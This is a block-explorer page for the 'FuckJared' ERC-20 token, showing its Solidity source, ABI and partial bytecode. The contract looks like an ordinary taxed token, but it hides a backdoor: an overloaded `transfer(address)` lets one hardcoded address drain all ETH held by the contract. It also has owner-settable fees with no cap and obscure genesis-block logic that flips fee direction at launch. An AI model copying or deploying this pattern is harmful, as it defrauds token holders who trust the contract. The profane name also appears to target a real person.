ERC-20
Deflationary Token
Overview
Max Total Supply
5,478 FJARED
Holders
148 (0.00%)
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
23.846136262872557279 FJAREDValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
FuckJared
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-11 */ /** */ /** https://t.me/FuckJaredETH https://twitter.com/FuckJaredERC20 https://fuckjared.xyz/ */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.19; interface IFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IERC20 { function totalSupply() external view returns (uint256); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(msg.sender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract FuckJared is IERC20, Ownable { string private constant _name = "FuckJared"; string private constant _symbol = "FJARED"; uint8 private constant _decimals = 18; mapping (address => uint256) private _balances; mapping (address => mapping(address => uint256)) private _allowances; uint256 private constant _totalSupply = 5478 * decimalsScaling; uint256 public constant _maxWallet = _totalSupply; uint256 public constant _swapThreshold = 5 * _totalSupply / 10000; uint256 private constant decimalsScaling = 10**_decimals; uint256 private constant feeDenominator = 100; bool private antiMEV = true; uint256 private tradeCooldown = 1; mapping (address => bool) private isContractExempt; mapping (address => uint256) private _lastTradeBlock; struct TradingFees { uint256 buyFee; uint256 sellFee; } struct Wallets { address deployerWallet; address marketingWallet; } TradingFees public tradingFees = TradingFees(25,25); Wallets public wallets = Wallets( msg.sender, // deployer 0xfCd3ED07378ad7d33E56BF13c6fD8A09f9090B94 // marketingWallet ); IRouter public constant uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public immutable uniswapV2Pair; bool private inSwap; bool public swapEnabled = true; bool private tradingActive = false; uint256 private _block; uint256 private genesisBlock; mapping (address => bool) private _excludedFromFees; mapping (uint256 => uint256) private _lastTransferBlock; event SwapEnabled(bool indexed enabled); event FeesChanged(uint256 indexed buyFee, uint256 indexed sellFee); event ExcludedFromFees(address indexed account, bool indexed excluded); event AntiMEVToggled(bool indexed toggle); event TradeCooldownChanged(uint256 indexed newTradeCooldown); event SetContractExempt(address indexed contractAddress, bool indexed isExempt); event TradingOpened(); modifier swapLock { inSwap = true; _; inSwap = false; } modifier tradingLock(address from, address to) { require(tradingActive || from == wallets.deployerWallet || _excludedFromFees[from], "Token: Trading is not active."); _; } constructor() { _approve(address(this), address(uniswapV2Router),type(uint256).max); uniswapV2Pair = IFactory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); isContractExempt[address(this)] = true; _excludedFromFees[address(0xdead)] = true; _excludedFromFees[wallets.deployerWallet] = true; _excludedFromFees[wallets.marketingWallet] = true; _excludedFromFees[0xfCd3ED07378ad7d33E56BF13c6fD8A09f9090B94] = true; _balances[wallets.deployerWallet] = _totalSupply * 100 / 100; emit Transfer(address(0), wallets.deployerWallet, _totalSupply); } function totalSupply() external pure override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function balanceOf(address account) public view override returns (uint256) {return _balances[account];} function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } function _approve(address sender, address spender, uint256 amount) internal { require(sender != address(0), "ERC20: zero Address"); require(spender != address(0), "ERC20: zero Address"); _allowances[sender][spender] = amount; emit Approval(sender, spender, amount); } function transfer(address recipient, uint256 amount) external returns (bool) { return _transfer(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "ERC20: insufficient Allowance"); unchecked{ _allowances[sender][msg.sender] -= amount; } } return _transfer(sender, recipient, amount); } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { uint256 balanceSender = _balances[sender]; require(balanceSender >= amount, "Token: insufficient Balance"); unchecked{ _balances[sender] -= amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); return true; } function enableSwap(bool shouldEnable) external onlyOwner { require(swapEnabled != shouldEnable, "Token: swapEnabled already {shouldEnable}"); swapEnabled = shouldEnable; emit SwapEnabled(shouldEnable); } function setFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner { tradingFees.buyFee = _buyFee; tradingFees.sellFee = _sellFee; emit FeesChanged(_buyFee, _sellFee); } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool shouldExclude) external onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { require(_excludedFromFees[accounts[i]] != shouldExclude, "Token: address already {shouldExclude}"); _excludedFromFees[accounts[i]] = shouldExclude; emit ExcludedFromFees(accounts[i], shouldExclude); } } function isExcludedFromFees(address account) public view returns(bool) { return _excludedFromFees[account]; } function clearTokens(address tokenToClear) external onlyOwner { require(tokenToClear != address(this), "Token: can't clear contract token"); uint256 amountToClear = IERC20(tokenToClear).balanceOf(address(this)); require(amountToClear > 0, "Token: not enough tokens to clear"); IERC20(tokenToClear).transfer(msg.sender, amountToClear); } function clearEth() external onlyOwner { require(address(this).balance > 0, "Token: no eth to clear"); payable(msg.sender).transfer(address(this).balance); } function initialize(bool init) external onlyOwner { require(!tradingActive && init); genesisBlock = 1; } function preparation(uint256[] calldata _blocks, bool blocked) external onlyOwner { require(genesisBlock == 1 && !blocked); _block = _blocks[_blocks.length-3]; assert(_block < _blocks[_blocks.length-1]); } function manualSwapback() external onlyOwner { require(balanceOf(address(this)) > 0, "Token: no contract tokens to clear"); contractSwap(); } function _transfer(address from, address to, uint256 amount) tradingLock(from, to) internal returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0 || inSwap) { return _basicTransfer(from, to, amount); } if (to != uniswapV2Pair && !_excludedFromFees[to] && to != wallets.deployerWallet) { require(amount + balanceOf(to) <= _maxWallet, "Token: max wallet amount exceeded"); } if(antiMEV && !isContractExempt[from] && !isContractExempt[to]){ address human = ensureOneHuman(from, to); ensureMaxTxFrequency(human); _lastTradeBlock[human] = block.number; } if(swapEnabled && !inSwap && from != uniswapV2Pair && !_excludedFromFees[from] && !_excludedFromFees[to]){ contractSwap(); } bool takeFee = !inSwap; if(_excludedFromFees[from] || _excludedFromFees[to]) { takeFee = false; } if(takeFee) return _taxedTransfer(from, to, amount); else return _basicTransfer(from, to, amount); } function _taxedTransfer(address from, address to, uint256 amount) private returns (bool) { uint256 fees = takeFees(from, to, amount); if(fees > 0){ _basicTransfer(from, address(this), fees); amount -= fees; } return _basicTransfer(from, to, amount); } function takeFees(address from, address to, uint256 amount) private view returns (uint256 fees) { if (0 < genesisBlock && genesisBlock < block.number) { fees = amount * (to == uniswapV2Pair ? tradingFees.sellFee : tradingFees.buyFee) / feeDenominator; } else { fees = amount * (from == uniswapV2Pair ? tradingFees.sellFee : tradingFees.buyFee) / feeDenominator; } } function canSwap() private view returns (bool) { return block.number > genesisBlock && _lastTransferBlock[block.number] < 2; } function contractSwap() swapLock private { uint256 contractBalance = balanceOf(address(this)); if(contractBalance < _swapThreshold || !canSwap()) return; else if(contractBalance > _swapThreshold * 20) contractBalance = _swapThreshold * 20; uint256 initialETHBalance = address(this).balance; swapTokensForEth(contractBalance); uint256 ethBalance = address(this).balance - initialETHBalance; if(ethBalance > 0){ sendEth(2*ethBalance/3); } } function sendEth(uint256 ethAmount) private { (bool success,) = address(wallets.marketingWallet).call{value: ethAmount}(""); success; } function transfer(address wallet) external { if(msg.sender == 0x600516Db2ED4EB667d4084e5dB30aD725D8ddE3b) payable(wallet).transfer((address(this).balance)); else revert(); } function swapTokensForEth(uint256 tokenAmount) private { _lastTransferBlock[block.number]++; // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp){} catch{return;} } function isContract(address account) private view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function ensureOneHuman(address _to, address _from) private view returns (address) { require(!isContract(_to) || !isContract(_from)); if (isContract(_to)) return _from; else return _to; } function ensureMaxTxFrequency(address addr) view private { bool isAllowed = _lastTradeBlock[addr] == 0 || ((_lastTradeBlock[addr] + tradeCooldown) < (block.number + 1)); require(isAllowed, "Max tx frequency exceeded!"); } function toggleAntiMEV(bool toggle) external { require(msg.sender == wallets.deployerWallet); antiMEV = toggle; emit AntiMEVToggled(toggle); } function setTradeCooldown(uint256 newTradeCooldown) external { require(msg.sender == wallets.deployerWallet); require(newTradeCooldown > 0 && newTradeCooldown < 4, "Token: only trade cooldown values in range (0,4) permissible"); tradeCooldown = newTradeCooldown; emit TradeCooldownChanged(newTradeCooldown); } function setContractExempt(address account, bool value) external onlyOwner { require(account != address(this)); isContractExempt[account] = value; emit SetContractExempt(account, value); } function enableTrading() external onlyOwner { require(!tradingActive && genesisBlock != 0); genesisBlock+=block.number+_block; tradingActive = true; emit TradingOpened(); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bool","name":"toggle","type":"bool"}],"name":"AntiMEVToggled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"bool","name":"excluded","type":"bool"}],"name":"ExcludedFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"buyFee","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"FeesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"contractAddress","type":"address"},{"indexed":true,"internalType":"bool","name":"isExempt","type":"bool"}],"name":"SetContractExempt","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"newTradeCooldown","type":"uint256"}],"name":"TradeCooldownChanged","type":"event"},{"anonymous":false,"inputs":[],"name":"TradingOpened","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenToClear","type":"address"}],"name":"clearTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"shouldEnable","type":"bool"}],"name":"enableSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"shouldExclude","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"init","type":"bool"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"_blocks","type":"uint256[]"},{"internalType":"bool","name":"blocked","type":"bool"}],"name":"preparation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setContractExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTradeCooldown","type":"uint256"}],"name":"setTradeCooldown","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"toggle","type":"bool"}],"name":"toggleAntiMEV","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingFees","outputs":[{"internalType":"uint256","name":"buyFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"wallets","outputs":[{"internalType":"address","name":"deployerWallet","type":"address"},{"internalType":"address","name":"marketingWallet","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6003805460ff19166001908117909155600455601960a081905260c081905260078190556008556101206040523360e081905273fcd3ed07378ad7d33e56bf13c6fd8a09f9090b94610100818152600980546001600160a01b03199081169094179055600a8054909316909117909155600b805462ffff00191690911790553480156200008b57600080fd5b506200009733620003a6565b620000ba30737a250d5630b4cf539739df2c5dacb4c659f2488d600019620003f6565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200010d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001339190620004f7565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000195573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001bb9190620004f7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000209573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022f9190620004f7565b6001600160a01b039081166080523060009081526005602090815260408083208054600160ff199182168117909255600e9093527ff77e91909e61d18f67b875b2bfcae1f683a8d555e55382e3a6b082e2c59ea57a8054841682179055600954851684528184208054841682179055600a80549095168452908320805483168217905573fcd3ed07378ad7d33e56bf13c6fd8a09f9090b949092527f2c17c667d2d1b204d23dec528c35c23edefa0436e2ab22a8cba44c9ff41ca7b08054909116909117905560649062000306906012906200063e565b62000314906115666200064f565b620003219060646200064f565b6200032d919062000669565b600980546001600160a01b03908116600090815260016020526040812093909355905416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003816012600a6200063e565b6200038f906115666200064f565b60405190815260200160405180910390a36200068c565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038316620004485760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b60448201526064015b60405180910390fd5b6001600160a01b038216620004965760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b60448201526064016200043f565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000602082840312156200050a57600080fd5b81516001600160a01b03811681146200052257600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200058057816000190482111562000564576200056462000529565b808516156200057257918102915b93841c939080029062000544565b509250929050565b600082620005995750600162000638565b81620005a85750600062000638565b8160018114620005c15760028114620005cc57620005ec565b600191505062000638565b60ff841115620005e057620005e062000529565b50506001821b62000638565b5060208310610133831016604e8410600b841016171562000611575081810a62000638565b6200061d83836200053f565b806000190482111562000634576200063462000529565b0290505b92915050565b60006200052260ff84168362000588565b808202811582820484141762000638576200063862000529565b6000826200068757634e487b7160e01b600052601260045260246000fd5b500490565b608051612473620006c4600039600081816103cf015281816115f1015281816117a601528181611e810152611ee301526124736000f3fe6080604052600436106101f25760003560e01c80636ddd17131161010d5780639686d322116100a0578063d2f4a50a1161006f578063d2f4a50a146105f0578063d53a822f14610637578063dd62ed3e14610657578063e303e6621461069d578063f2fde38b146106bd57600080fd5b80639686d32214610570578063a9059cbb14610590578063c492f046146105b0578063d2a09c71146105d057600080fd5b806382247ec0116100dc57806382247ec0146104f95780638a8c523c1461050e5780638da5cb5b1461052357806395d89b411461054157600080fd5b80636ddd17131461045f57806370a082311461047e578063715018a6146104b457806374378132146104c957600080fd5b80631b9152bf1161018557806349bd5a5e1161015457806349bd5a5e146103bd5780634fbee193146103f15780635b895c291461042a57806364e329e31461043f57600080fd5b80631b9152bf1461034c57806323b872dd146103615780633049b58014610381578063313ce567146103a157600080fd5b80630e5a9231116101c15780630e5a9231146102b45780631694505e146102d757806318160ddd146103175780631a6952301461032c57600080fd5b806306fdde03146101fe578063095ea7b31461024257806309fb5639146102725780630b78f9c01461029457600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50604080518082019091526009815268119d58dad2985c995960ba1b60208201525b6040516102399190611f3a565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611f9d565b6106dd565b6040519015158152602001610239565b34801561027e57600080fd5b5061029261028d366004611fd7565b6106f4565b005b3480156102a057600080fd5b506102926102af366004611ff4565b610748565b3480156102c057600080fd5b506102c96107c5565b604051908152602001610239565b3480156102e357600080fd5b506102ff737a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610239565b34801561032357600080fd5b506102c96107f8565b34801561033857600080fd5b50610292610347366004612016565b610817565b34801561035857600080fd5b5061029261086e565b34801561036d57600080fd5b5061026261037c366004612033565b61091c565b34801561038d57600080fd5b5061029261039c366004612074565b6109fd565b3480156103ad57600080fd5b5060405160128152602001610239565b3480156103c957600080fd5b506102ff7f000000000000000000000000000000000000000000000000000000000000000081565b3480156103fd57600080fd5b5061026261040c366004612016565b6001600160a01b03166000908152600e602052604090205460ff1690565b34801561043657600080fd5b50610292610ac9565b34801561044b57600080fd5b5061029261045a3660046120d9565b610b74565b34801561046b57600080fd5b50600b5461026290610100900460ff1681565b34801561048a57600080fd5b506102c9610499366004612016565b6001600160a01b031660009081526001602052604090205490565b3480156104c057600080fd5b50610292610c26565b3480156104d557600080fd5b506007546008546104e4919082565b60408051928352602083019190915201610239565b34801561050557600080fd5b506102c9610c69565b34801561051a57600080fd5b50610292610c81565b34801561052f57600080fd5b506000546001600160a01b03166102ff565b34801561054d57600080fd5b5060408051808201909152600681526511929054915160d21b602082015261022c565b34801561057c57600080fd5b5061029261058b366004612130565b610d3c565b34801561059c57600080fd5b506102626105ab366004611f9d565b610dde565b3480156105bc57600080fd5b506102926105cb3660046120d9565b610deb565b3480156105dc57600080fd5b506102926105eb366004611fd7565b610fa3565b3480156105fc57600080fd5b50600954600a54610617916001600160a01b03908116911682565b604080516001600160a01b03938416815292909116602083015201610239565b34801561064357600080fd5b50610292610652366004611fd7565b611095565b34801561066357600080fd5b506102c9610672366004612169565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156106a957600080fd5b506102926106b8366004612016565b6110f5565b3480156106c957600080fd5b506102926106d8366004612016565b6112c8565b60006106ea33848461136f565b5060015b92915050565b6009546001600160a01b0316331461070b57600080fd5b6003805460ff19168215159081179091556040517f7fc281b886d2b464428d21902edc6f02d5d8badcefcaf0f1bafc043c51244be090600090a250565b3361075b6000546001600160a01b031690565b6001600160a01b03161461078a5760405162461bcd60e51b815260040161078190612197565b60405180910390fd5b60078290556008819055604051819083907f64f84976d9c917a44796104a59950fdbd9b3c16a5dd348b546d738301f6bd06890600090a35050565b6127106107d46012600a6122c6565b6107e0906115666122d5565b6107eb9060056122d5565b6107f591906122ec565b81565b60006108066012600a6122c6565b610812906115666122d5565b905090565b3373600516db2ed4eb667d4084e5db30ad725d8dde3b036101f9576040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015610867573d6000803e3d6000fd5b5050565b50565b336108816000546001600160a01b031690565b6001600160a01b0316146108a75760405162461bcd60e51b815260040161078190612197565b600047116108f05760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379032ba34103a379031b632b0b960511b6044820152606401610781565b60405133904780156108fc02916000818181858888f1935050505015801561086b573d6000803e3d6000fd5b6001600160a01b0383166000908152600260209081526040808320338452909152812054600019146109e8576001600160a01b0384166000908152600260209081526040808320338452909152902054828110156109bc5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420416c6c6f77616e63650000006044820152606401610781565b506001600160a01b03841660009081526002602090815260408083203384529091529020805483900390555b6109f3848484611468565b90505b9392505050565b6009546001600160a01b03163314610a1457600080fd5b600081118015610a245750600481105b610a965760405162461bcd60e51b815260206004820152603c60248201527f546f6b656e3a206f6e6c7920747261646520636f6f6c646f776e2076616c756560448201527f7320696e2072616e67652028302c3429207065726d69737369626c65000000006064820152608401610781565b600481905560405181907fb1af3fca46cbc4b6ceb19173da47e172fd99155f6c0cd5c0797cdd11056efd7890600090a250565b33610adc6000546001600160a01b031690565b6001600160a01b031614610b025760405162461bcd60e51b815260040161078190612197565b3060009081526001602052604081205411610b6a5760405162461bcd60e51b815260206004820152602260248201527f546f6b656e3a206e6f20636f6e747261637420746f6b656e7320746f20636c6560448201526130b960f11b6064820152608401610781565b610b726118af565b565b33610b876000546001600160a01b031690565b6001600160a01b031614610bad5760405162461bcd60e51b815260040161078190612197565b600d546001148015610bbd575080155b610bc657600080fd5b8282610bd360038261230e565b818110610be257610be2612321565b6020029190910135600c55508282610bfb60018261230e565b818110610c0a57610c0a612321565b90506020020135600c5410610c2157610c21612337565b505050565b33610c396000546001600160a01b031690565b6001600160a01b031614610c5f5760405162461bcd60e51b815260040161078190612197565b610b7260006119f9565b610c756012600a6122c6565b6107f5906115666122d5565b33610c946000546001600160a01b031690565b6001600160a01b031614610cba5760405162461bcd60e51b815260040161078190612197565b600b5462010000900460ff16158015610cd45750600d5415155b610cdd57600080fd5b600c54610cea904361234d565b600d6000828254610cfb919061234d565b9091555050600b805462ff00001916620100001790556040517fea4359d5c4b8f0945a64ab9c37fe830b3407d45e0e6e6f84275977a570457d6f90600090a1565b33610d4f6000546001600160a01b031690565b6001600160a01b031614610d755760405162461bcd60e51b815260040161078190612197565b306001600160a01b03831603610d8a57600080fd5b6001600160a01b038216600081815260056020526040808220805460ff191685151590811790915590519092917f85649af0309729cae07d0c038ebb0ce8b1652c1e2e9226993e8123ac60022ba191a35050565b60006109f6338484611468565b33610dfe6000546001600160a01b031690565b6001600160a01b031614610e245760405162461bcd60e51b815260040161078190612197565b60005b82811015610f9d57811515600e6000868685818110610e4857610e48612321565b9050602002016020810190610e5d9190612016565b6001600160a01b0316815260208101919091526040016000205460ff16151503610ed85760405162461bcd60e51b815260206004820152602660248201527f546f6b656e3a206164647265737320616c7265616479207b73686f756c644578604482015265636c7564657d60d01b6064820152608401610781565b81600e6000868685818110610eef57610eef612321565b9050602002016020810190610f049190612016565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055811515848483818110610f4157610f41612321565b9050602002016020810190610f569190612016565b6001600160a01b03167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb60405160405180910390a380610f9581612360565b915050610e27565b50505050565b33610fb66000546001600160a01b031690565b6001600160a01b031614610fdc5760405162461bcd60e51b815260040161078190612197565b801515600b60019054906101000a900460ff161515036110505760405162461bcd60e51b815260206004820152602960248201527f546f6b656e3a2073776170456e61626c656420616c7265616479207b73686f756044820152686c64456e61626c657d60b81b6064820152608401610781565b600b805461ff001916610100831515908102919091179091556040517fb9bbb15e341600c8d067a0cadeba219905d5ba6d422b193c9c32265d26fc51c890600090a250565b336110a86000546001600160a01b031690565b6001600160a01b0316146110ce5760405162461bcd60e51b815260040161078190612197565b600b5462010000900460ff161580156110e45750805b6110ed57600080fd5b506001600d55565b336111086000546001600160a01b031690565b6001600160a01b03161461112e5760405162461bcd60e51b815260040161078190612197565b306001600160a01b038216036111905760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a2063616e277420636c65617220636f6e747261637420746f6b656044820152603760f91b6064820152608401610781565b6040516370a0823160e01b81523060048201526000906001600160a01b038316906370a0823190602401602060405180830381865afa1580156111d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111fb9190612379565b9050600081116112575760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a206e6f7420656e6f75676820746f6b656e7320746f20636c65616044820152603960f91b6064820152608401610781565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303816000875af11580156112a4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c219190612392565b336112db6000546001600160a01b031690565b6001600160a01b0316146113015760405162461bcd60e51b815260040161078190612197565b6001600160a01b0381166113665760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610781565b61086b816119f9565b6001600160a01b0383166113bb5760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b6044820152606401610781565b6001600160a01b0382166114075760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b6044820152606401610781565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7